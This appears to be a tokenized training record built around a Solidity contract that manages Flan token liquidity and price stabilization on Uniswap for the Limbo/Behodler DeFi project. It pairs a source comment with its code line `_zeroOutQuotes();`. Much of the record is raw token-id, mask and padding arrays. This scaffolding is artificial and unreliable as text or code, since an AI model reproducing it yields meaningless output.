[ 1, 430, 261, 67, 2080, 422, 374, 92, 26, 1340, 7677, 4315, 5908, 5908, 6418, 41, 26, 70, 6669, 5193, 9498, 42, 71, 28, 2643, 2947, 6669, 6030, 3600, 41, 3787, 23, 69, 13, 15226, 2668, 1636, 4248, 2138, 8284, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.4; import "./facades/UniPairLike.sol"; import "./facades/BehodlerLike.sol"; import "./DAO/Governable.sol"; import "./ERC677/ERC20Burnable.sol"; import "./facades/FlanLike.sol"; import "./testing/realUniswap/interfaces/IUniswapV2Factory.sol"; import "./facades/AMMHelper.sol"; contract BlackHole {} ///@Title Uniswap V2 helper for managing Flan liquidity on Uniswap V2, Sushiswap and any other compatible AMM ///@author Justin Goro /**@notice Flan liquidity is boosted on Uniswap (or Sushiswap) via open market operations at the point of a token migration. * UniswapHelper handles all the mechanics as well managing a just-in-time (Justin Time?) oracle */ contract UniswapHelper is Governable, AMMHelper { address limbo; struct UniVARS { UniPairLike Flan_SCX_tokenPair; uint256 divergenceTolerance; uint256 minQuoteWaitDuration; IUniswapV2Factory factory; address behodler; uint8 precision; // behodler uses a binary search. The higher this number, the more precise uint8 priceBoostOvershoot; //percentage (0-100) for which the price must be overcorrected when strengthened to account for other AMMs address blackHole; address flan; address DAI; } struct FlanQuote { uint256 DaiScxSpotPrice; uint256 DaiBalanceOnBehodler; uint256 blockProduced; } /**@dev the Dai SCX price and the Dai balance on Behodler are both sampled twice before a migration can occur. * The two samples have to be spaced a minimum duration and have to be the same values (within an error threshold). The objective here is to make price manipulation untenably expensive for an attacker * so that the mining power expended (or the opportunity cost of eth staked) far exceeds the benefit to manipulating Limbo. * The assumption of price stability isn't a bug because migrations aren't required to happen frequently. Instead if natural price drift occurs for non malicious reasons, * the migration can be reattempted until a period of sufficient calm allows for migration. If a malicious actor injects volatility in order to prevent migration, by the principle * of antifragility, they're doing the entire Ethereum ecosystem a service at their own expense. */ FlanQuote[2] public latestFlanQuotes; //0 is latest UniVARS VARS; //not sure why codebases don't use keyword ether but I'm reluctant to entirely part with that tradition for now. uint256 constant EXA = 1e18; //needs to be updated for future Martian, Lunar and Venusian blockchains although I suspect Lunar colonies will be very Terracentric because of low time lag. uint256 constant year = (1 days * 365); /* instead of relying on oracles, we simply require snapshots of important prices to be taken at intervals far enough apart. If an attacker wishes to overstate or understate a price through market manipulation, they'd have to keep it out of equilibrium over the span of the two snapshots or they'd have to time the manipulation to happen as the snapshots occur. As a miner, they could do this through transaction ordering but they'd have to win two blocks at precise moments which is statistically highly unlikely. The snapshot enforcement can be hindered by false negatives. Natural price variation, for instance, but the cost of this is just having to snapshot again when the market is calmer. Since migration is not not time sensitive, this is a cost worth bearing. */ modifier ensurePriceStability() { _ensurePriceStability(); _; } modifier onlyLimbo() { require(msg.sender == limbo); _; } constructor(address _limbo, address limboDAO) Governable(limboDAO) { limbo = _limbo; VARS.blackHole = address(new BlackHole()); VARS.factory = IUniswapV2Factory(address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f)); VARS.DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; } ///@notice LP tokens minted during migration are discarded. function blackHole() public view returns (address) { return VARS.blackHole; } ///@notice Uniswap factory contract function setFactory(address factory) public { require(block.chainid != 1, "Uniswap factory hardcoded on mainnet"); VARS.factory = IUniswapV2Factory(factory); } ///@dev Only for testing: On mainnet Dai has a fixed address. function setDAI(address dai) public { require(block.chainid != 1, "DAI hardcoded on mainnet"); VARS.DAI = dai; } ///@notice main configuration function. ///@dev We prefer to use configuration functions rather than a constructor for a number of reasons. ///@param _limbo Limbo contract ///@param FlanSCXPair The Uniswap flan/SCX pair ///@param behodler Behodler AMM ///@param flan The flan token ///@param divergenceTolerance The amount of price difference between the two quotes that is tolerated before a migration is attempted ///@param minQuoteWaitDuration The minimum duration between the sampling of oracle data used for migration ///@param precision In order to query the tokens redeemed by a quantity of SCX, Behodler performs a binary search. Precision refers to the max iterations of the search. ///@param priceBoostOvershoot Flan targets parity with Dai. If we set Flan to equal Dai then between migrations, it will always be below Dai. Overshoot gives us some runway by intentionally "overshooting" the price function configure( address _limbo, address FlanSCXPair, address behodler, address flan, uint256 divergenceTolerance, uint256 minQuoteWaitDuration, uint8 precision, uint8 priceBoostOvershoot ) public onlySuccessfulProposal { limbo = _limbo; VARS.Flan_SCX_tokenPair = UniPairLike(FlanSCXPair); VARS.behodler = behodler; VARS.flan = flan; require(divergenceTolerance >= 100, "Divergence of 100 is parity"); VARS.divergenceTolerance = divergenceTolerance; VARS.minQuoteWaitDuration = minQuoteWaitDuration; VARS.DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; VARS.precision = precision == 0 ? precision : precision; require(priceBoostOvershoot < 100, "Set overshoot to number between 1 and 100."); VARS.priceBoostOvershoot = priceBoostOvershoot; } ///@notice Samples the two values required for migration. Must be called twice before migration can occur. function generateFLNQuote() public override { latestFlanQuotes[1] = latestFlanQuotes[0]; (latestFlanQuotes[0].DaiScxSpotPrice, latestFlanQuotes[0].DaiBalanceOnBehodler) = getLatestFLNQuote(); latestFlanQuotes[0].blockProduced = block.number; } function getLatestFLNQuote() internal view returns (uint256 dai_scx, uint256 daiBalanceOnBehodler) { uint256 daiToRelease = BehodlerLike(VARS.behodler).withdrawLiquidityFindSCX( VARS.DAI, 10000, 1 ether, VARS.precision ); dai_scx = (daiToRelease * EXA) / (1 ether); daiBalanceOnBehodler = IERC20(VARS.DAI).balanceOf(VARS.behodler); } ///@notice When tokens are migrated to Behodler, SCX is generated. This SCX is used to boost Flan liquidity and nudge the price of Flan back to parity with Dai ///@param rectangleOfFairness refers to the quantity of SCX held back to be used for open market Flan stabilizing operations ///@dev makes use of price tilting. Be sure to understand the concept of price tilting before trying to understand the final if statement. function stabilizeFlan(uint256 rectangleOfFairness) public override onlyLimbo ensurePriceStability returns (uint256 lpMinted) { uint256 localSCXBalance = IERC20(VARS.behodler).balanceOf(address(this)); //SCX transfers incur a 2% fee. Checking that SCX balance === rectangleOfFairness must take this into account. //Note that for hardcoded values, this contract can be upgraded through governance so we're not ignoring potential Behodler configuration changes require((localSCXBalance * 100) / rectangleOfFairness >= 98, "EM"); rectangleOfFairness = localSCXBalance; //get DAI per scx uint256 existingSCXBalanceOnLP = IERC20(VARS.behodler).balanceOf(address(VARS.Flan_SCX_tokenPair)); uint256 finalSCXBalanceOnLP = existingSCXBalanceOnLP + rectangleOfFairness; //the DAI value of SCX is the final quantity of Flan because we want Flan to hit parity with Dai. uint256 DesiredFinalFlanOnLP = ((finalSCXBalanceOnLP * latestFlanQuotes[0].DaiScxSpotPrice) / EXA); address pair = address(VARS.Flan_SCX_tokenPair); uint256 existingFlanOnLP = IERC20(VARS.flan).balanceOf(pair); if (existingFlanOnLP < DesiredFinalFlanOnLP) { uint256 flanToMint = ((DesiredFinalFlanOnLP - existingFlanOnLP) * (100 - VARS.priceBoostOvershoot)) / 100; flanToMint = flanToMint == 0 ? DesiredFinalFlanOnLP - existingFlanOnLP : flanToMint; FlanLike(VARS.flan).mint(pair, flanToMint); IERC20(VARS.behodler).transfer(pair, rectangleOfFairness); { lpMinted = VARS.Flan_SCX_tokenPair.mint(VARS.blackHole); } } else { uint256 minFlan = existingFlanOnLP / VARS.Flan_SCX_tokenPair.totalSupply(); FlanLike(VARS.flan).mint(pair, minFlan + 2); IERC20(VARS.behodler).transfer(pair, rectangleOfFairness); lpMinted = VARS.Flan_SCX_tokenPair.mint(VARS.blackHole); } //Don't allow future migrations to piggy back off the data collected by recent migrations. Forces attackers to face the same cryptoeconomic barriers each time. _zeroOutQuotes(); } ///@notice helper function for converting a desired APY into a flan per second (FPS) statistic ///@param minAPY Here APY refers to the dollar value of flan relative to the dollar value of the threshold ///@param daiThreshold The DAI value of the target threshold to list on Behodler. Threshold is an approximation of the AVB on Behodler function minAPY_to_FPS( uint256 minAPY, //divide by 10000 to get percentage uint256 daiThreshold ) public view override ensurePriceStability returns (uint256 fps) { daiThreshold = daiThreshold == 0 ? latestFlanQuotes[0].DaiBalanceOnBehodler : daiThreshold; uint256 returnOnThreshold = (minAPY * daiThreshold) / 1e4; fps = returnOnThreshold / (year); } ///@notice Buys Flan with a specified token, apportions 1% of the purchased Flan to the caller and burns the rest. ///@param inputToken The token used to buy Flan ///@param amount amount of input token used to buy Flan ///@param recipient receives 1% of Flan purchased as an incentive to call this function regularly ///@dev Assumes a pair for Flan/InputToken exists on Uniswap function buyFlanAndBurn( address inputToken, uint256 amount, address recipient ) public override { address pair = VARS.factory.getPair(inputToken, VARS.flan); uint256 flanBalance = IERC20(VARS.flan).balanceOf(pair); uint256 inputBalance = IERC20(inputToken).balanceOf(pair); uint256 amountOut = getAmountOut(amount, inputBalance, flanBalance); uint256 amount0Out = inputToken < VARS.flan ? 0 : amountOut; uint256 amount1Out = inputToken < VARS.flan ? amountOut : 0; IERC20(inputToken).transfer(pair, amount); UniPairLike(pair).swap(amount0Out, amount1Out, address(this), ""); uint256 reward = (amountOut / 100); ERC20Burnable(VARS.flan).transfer(recipient, reward); ERC20Burnable(VARS.flan).burn(amountOut - reward); } function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountOut) { uint256 amountInWithFee = amountIn * 997; uint256 numerator = amountInWithFee * reserveOut; uint256 denominator = reserveIn * 1000 + amountInWithFee; amountOut = numerator / denominator; } function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountIn) { uint256 numerator = reserveIn * amountOut * 1000; uint256 denominator = (reserveOut - amountOut) * 997; amountIn = (numerator / denominator) + 1; } function _zeroOutQuotes() internal { delete latestFlanQuotes[0]; delete latestFlanQuotes[1]; } //the purpose of the divergence code is to bring the robustness of a good oracle without requiring an oracle function _ensurePriceStability() internal view { FlanQuote[2] memory localFlanQuotes; //save gas localFlanQuotes[0] = latestFlanQuotes[0]; localFlanQuotes[1] = latestFlanQuotes[1]; uint256 daiSCXSpotPriceDivergence = localFlanQuotes[0].DaiScxSpotPrice > localFlanQuotes[1].DaiScxSpotPrice ? (localFlanQuotes[0].DaiScxSpotPrice * 100) / localFlanQuotes[1].DaiScxSpotPrice : (localFlanQuotes[1].DaiScxSpotPrice * 100) / localFlanQuotes[0].DaiScxSpotPrice; uint256 daiBalanceDivergence = localFlanQuotes[0].DaiBalanceOnBehodler > localFlanQuotes[1].DaiBalanceOnBehodler ? (localFlanQuotes[0].DaiBalanceOnBehodler * 100) / localFlanQuotes[1].DaiBalanceOnBehodler : (localFlanQuotes[1].DaiBalanceOnBehodler * 100) / localFlanQuotes[0].DaiBalanceOnBehodler; require( daiSCXSpotPriceDivergence < VARS.divergenceTolerance && daiBalanceDivergence < VARS.divergenceTolerance, "EG" ); require( localFlanQuotes[0].blockProduced - localFlanQuotes[1].blockProduced > VARS.minQuoteWaitDuration && localFlanQuotes[1].blockProduced > 0, "EH" ); } }
Don't allow future migrations to piggy back off the data collected by recent migrations. Forces attackers to face the same cryptoeconomic barriers each time.
_zeroOutQuotes();
12,581,024
[ 1, 22293, 1404, 1699, 3563, 9814, 358, 293, 360, 7797, 1473, 3397, 326, 501, 12230, 635, 8399, 9814, 18, 2457, 764, 13843, 414, 358, 7945, 326, 1967, 8170, 557, 4708, 335, 4653, 566, 414, 1517, 813, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 389, 7124, 1182, 14292, 5621, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]